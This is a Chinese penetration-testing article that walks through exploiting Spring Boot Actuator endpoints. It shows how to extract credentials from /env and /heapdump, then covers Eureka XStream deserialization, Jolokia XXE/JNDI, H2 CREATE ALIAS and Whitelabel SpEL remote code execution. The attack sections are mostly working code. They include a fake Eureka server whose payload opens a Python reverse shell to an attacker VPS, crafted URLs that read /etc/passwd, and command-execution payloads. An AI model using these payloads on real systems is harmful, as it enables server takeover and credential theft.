0x00 前言
在日常的项目中经常会遇到使用Spring Boot框架的网站,小编对该框架的常见利用方式进行了整理。此文中的漏洞环境均在本地搭建。
0x01 信息泄露
1.1 漏洞利用
在拿到一个网站后通常通过两个位置判断网站是否使用了Spring Boot框架。1、网站图片文件是一个绿色的树叶。2、特有的报错信息。
如果开发人员配置不当,将接口暴露在公网上或者未配置权限限制访问,黑客可以使用以下的Actuator监控原生端点获取到一些网站的敏感数据。
GET请求/env会泄露环境变量信息,或者配置中的一些用户名,当程序员的属性名命名不规范会泄露密码明文。
通过/env端口泄露的信息发现使用的是AWS云主机。
正常GET请求目标/heapdump或/actuator/heapdump接口获取被星号脱敏的密码的明文,下载应用实时的JVM堆信息。成功下载,如下图所示。
使用Eclipse Memory Analyzer工具的OQL(对象查询语言)语句:
spring boot 1.x版本
select * from java.util.Hashtable$Entry x WHERE (toString(x.key).contains("password"))
spring boot 2.x版本
select * from java.util.LinkedHashMap$Entry x WHERE (toString(x.key).contains("password"))
辅助快速过滤分析,获得密码明文。成功获取challengepassword密码 *.H......
但是有点遗憾的是该目标网站并没有找到 accessKey、secreKey,如果能成功查询出这两个Key就可以利用下面的工具进行命令执行等系列操作,或者使用行云管家对主机进行绑定。
1.2 利用工具
工具地址:https://github.com/iiiusky/alicloud-tools 指定 AK/SK 查看所有实例信息:
./AliCloud-Tools -a xxx -s xxx ecs --list
运行上条命令拿到示例 ID,之后就可以执行命令了:
./AliCloud-Tools -a xxx -s xxx ecs exec -I
实例ID -c "whoami"(可以反弹shell等一系列操作。)
0x02 Eureka XStream Deserialization RCE
Eureka是Netflix开发的服务发现框架,本身是一个基于REST的服务,主要用于定位运行在AWS域中的中间层服务,以达到负载均衡和中间层服务故障转移的目的。Spring Cloud将它集成在其子项目Spring-Cloud-Netflix中,以实现Spring Cloud的服务发现功能。
2.1 漏洞原理
(1)eureka.client.serviceUrl.defaultZone 属性被设置为恶意的外部 eureka server URL 地址。
(2)refresh 触发目标机器请求远程URL,提前架设的fake eureka server就会返回恶意的payload。
(3)目标机器相关依赖解析payload,触发XStream反序列化,造成RCE漏洞。
2.2 利用条件
(1)可以POST请求目标网站的/env接口设置属性。
(2)可以POST请求目标网站的/refresh接口刷新配置(存在 spring-boot-starter-actuator 依赖)。
(3)目标使用的eureka-client < 1.8.7(通常包含在 spring-cloud-starter-netflix-eureka-client 依赖中)。
(4)目标可以请求攻击者的HTTP服务器(请求可出外网)。
2.3 漏洞利用
通常Eureka是在Netflix上部署,我们利用关键词netflix或者 eureka.client.serviceUrl.defaultZone在env端点泄露的信息中进行搜索。
在VPS上搭建Eureka Server,启动该服务的端口是 2333。反弹shell的端口是 443,反弹shell的ip是启动服务的地址。
#!/usr/bin/env python
# coding: utf-8
# -**- Author: LandGrey -**-
from flask import Flask, Response
app = Flask(__name__)
@app.route('/', defaults={
'path': ''})
@app.route('/<path:path>', methods=['GET', 'POST'])
def catch_all(path):
xml = """<linked-hash-set>
<jdk.nashorn.internal.objects.NativeString>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
<string>/bin/bash</string>
<string>-c</string>
<string>python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("your-vps-ip",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next class="string">foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer></ibuffer>
</is>
</dataSource>
</dataHandler>
</value>
</jdk.nashorn.internal.objects.NativeString>
</linked-hash-set>"""
return Response(xml, mimetype='application/xml')
if __name__ == "__main__":
app.run(host='0.0.0.0', port=2333)
抓包改变请求方式GET→POST ,修改eureka.client.serviceUrl.defaultZone属性为启动eureka server地址。
访问/refresh刷新设置。
服务端接收到请求。
在VPS的 443 端口设置监听,可以看到成功反弹shell。
0x03 Jolokia 组件漏洞
Jolokia 是一个用来访问远程JMX MBeans的方法,它可以利用JSON通过Http实现JMX远程管理的开源项目,即允许对所有已经注册的MBean进行Http访问,具有快速、简单等特点。除了支持基本的JMX操作之外,它还提供一些独特的特性来增强JMX远程管理如:批量请求,细粒度安全策略等。
3.1 漏洞原理
(1)直接访问可触发漏洞的URL,相当于通过jolokia调用 ch.qos.logback.classic.jmx.JMXConfigurator类的reloadByURL方法。
(2)目标机器请求外部日志配置文件URL地址,获得恶意xml文件内容。
(3)目标机器使用saxParser.parse解析xml文件 (这里导致了 xxe 漏洞)。
(4)xml文件中利用logback依赖的insertFormJNDI标签,设置了外部JNDI服务器地址。
(5)目标机器请求恶意JNDI服务器,导致JNDI注入,造成RCE漏洞。
3.2 利用条件
(1)目标网站存在/jolokia或/actuator/jolokia接口。
(2)目标使用了jolokia-core依赖(版本要求暂未知)并且环境中存在相关MBean。
(3)目标可以请求攻击者的HTTP服务器(请求可出外网)。
(4)JNDI注入受目标JDK版本影响,jdk < 6u201/7u191/8u182/11.0.1(LDAP 方式。
3.3 XXE 漏洞利用
在 VPS 上创建 XXE 攻击文件,并使用命令python -m SimpleHTTPServer 8888开启web服务。
构造连接:
http://10.27.2.188:9099/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/vps-ip:8888!/logback.xml
可以成功读取/etc/passwd文件内容。
3.4 Jolokia Logback JNDI RCE 漏洞利用
首先在 VPS 上上传 JNDI[1],并启动 JNDI 服务 java -jar JNDI-1.0-all.jar
修改 jolokia-logback.xml 并上传到 VPS 上。
构造连接:
http://10.27.2.188:9099/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/vps-ip:8888!/jolokia-logback.xml
可成功打开计算器。
查看 JNDI 的 config.properties,可以进行命令执行、文件写入等操作。
0x04 H2 Database Query RCE
H2是一个使用Java编写的数据库,支持内存、文件等多种模式,经常用于项目的测试环境。
4.1 漏洞原理
(1)spring.datasource.hikari.connection-test-query属性被设置为一条恶意的 CREATE ALIAS创建自定义函数的SQL语句。
(2)其属性对应HikariCP数据库连接池的connectionTestQuery配置,定义一个新数据库连接之前被执行的SQL语句。
(3)restart重启应用,会建立新的数据库连接。
(4)如果SQL语句中的自定义函数还没有被执行过,那么自定义函数就会被执行,造成RCE漏洞。
4.2 利用条件
(1)可以POST请求目标网站的/env接口设置属性。
(2)可以POST请求目标网站的/restart接口重启应用(存在 spring-boot-starter- actuator 依赖)。
(3)存在com.h2database.h2依赖。
4.3 漏洞利用
抓包改变请求方式GET→POST,设置spring.datasource.hikari.connection-test-query属性为:
{
"name":"spring.datasource.hikari.connection-test-query","value":"CREATE ALIAS EXEC AS CONCAT('String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new',' java.util.Scanner(Runtime.getRun','time().exec(cmd).getInputStream()); if (s.hasNext()) {return s.next();} throw new IllegalArgumentException(); }');CALL EXEC('/Applications/Calculator.app/Contents/MacOS/Calculator');"}
由于环境是Spring 2.x版本还需要修改请求体中的content-type字段的值 application/json。
0x05 Whitelabel Error Page SpEL RCE
Spring Expression Language(简称SpEL)是一种强大的表达式语言,支持在运行时查询和操作对象图。语言语法类似于Unified EL,但提供了额外的功能,特别是方法调用和基本的字符串模板功能。同时因为SpEL是以API接口的形式创建的,所以允许将其集成到其他应用程序和框架中。
5.1 漏洞原理
(1)spring boot处理参数值出错,流程进入 org.springframework.util.PropertyPlaceholderHelper 类中。
(2)此时URL中的参数值会用parseStringValue方法进行递归解析。
(3)其中 ${} 包围的内容都会被 org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration 类的resolvePlaceholder方法当作SpEL表达式被解析执行,造成RCE漏洞。
5.2 利用条件
(1)spring boot1.1.0-1.1.12、1.2.0-1.2.7、1.3.0。
(2)至少知道一个触发springboot默认错误页面的接口及参数名。
5.3 漏洞利用
SpEL使用 #{...} 作为定界符,所有在大括号中的字符都将被认为是SpEL表达式,我们可以在其中使用运算符,变量以及引用bean,属性和方法。
执行 open -a Calculator 命令:
${
T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{
0x6f,0x70,0x65,0x6e,0x20,0x2d,0x61,0x20,0x43,0x61,0x6c,0x63,0x75,0x6c,0x61,0x74,0x6f,0x72}))
0x06 总结
6.1 区分 Spring 版本
(1)对于 Spring 1x ,它们在根URL下进行注册,但在Spring 2x版本中将此功能移动到“/actuator/”的路径下。
(2)Spring1.X和Spring2.X的POST请求数据也存在区别,Spring1.X是通过Content-Type: application/x-www-form-urlencoded传参,Spring2.X是通过Content-Type: application/json传参。
6.2 Reference
https://github.com/LandGrey/SpringBootVulExploit
https://blog.csdn.net/weixin_45551083/article/details/107443330
https://www.freebuf.com/column/234719.html
References
[1] JNDI: https://github.com/su18/JNDI